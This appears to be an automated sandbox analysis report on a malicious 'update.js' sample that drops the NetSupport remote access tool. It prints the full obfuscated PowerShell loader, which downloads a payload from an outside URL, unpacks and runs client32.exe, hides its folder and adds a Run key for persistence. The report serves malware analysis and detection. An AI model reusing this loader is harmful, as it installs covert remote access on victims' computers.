Analysis
- max time kernel
605s - max time network
1748s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
- submitted
05/02/2024, 20:21
General
- Target update.js
- Size 350KB
- Sample240205-y47dwafff6
- SHA256 d733403650832af97220ed7693dcc0901336c84f927351db27a2ccb2de2deae1
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://ghostcitygames.com/data.php?6937
-
exe.dropper
https://ghostcitygames.com/data.php?6937
Signatures
- NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
- Blocklisted process makes network request 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 6 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\update.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $zbMXtkpRdebGwDoqoNgAST='https://ghostcitygames.com/data.php?6937';$ifaiObnTupNvAzDmBiDQZg=(New-Object System.Net.WebClient).DownloadString($zbMXtkpRdebGwDoqoNgAST);$QnDGkcMcdUuuLRmkZ=[System.Convert]::FromBase64String($ifaiObnTupNvAzDmBiDQZg);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $KqjcDQOlwDLbyhAvmNNVViTZPsIunA=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -PathType Container)) { New-Item -Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -ItemType Directory };$p=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'VVV.zip';[System.IO.File]::WriteAllBytes($p,$QnDGkcMcdUuuLRmkZ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$KqjcDQOlwDLbyhAvmNNVViTZPsIunA)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -Force; $FSDFSSD.attributes='Hidden';$s=$KqjcDQOlwDLbyhAvmNNVViTZPsIunA+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe"C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v15
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Downloads
__PSScriptPolicyTest_qv3cwjt0.z04.ps1
HTCTL32.DLL
MSVCR100.dll
NSM.LIC
PCICHEK.DLL
PCICL32.DLL
PCICL32.dll
client32.exe
client32.ini
msvcr100.dll
msvcr100.dll
pcicapi.dll
memory/1700-82-0x00007FFCE3080000-0x00007FFCE3B41000-memory.dmp
memory/1700-14-0x0000020258970000-0x000002025897A000-memory.dmp
memory/1700-15-0x00000202589A0000-0x00000202589B2000-memory.dmp
memory/1700-11-0x00000202589C0000-0x00000202589D0000-memory.dmp
memory/1700-12-0x00000202589C0000-0x00000202589D0000-memory.dmp
memory/1700-10-0x00007FFCE3080000-0x00007FFCE3B41000-memory.dmp
memory/1700-9-0x0000020258920000-0x0000020258942000-memory.dmp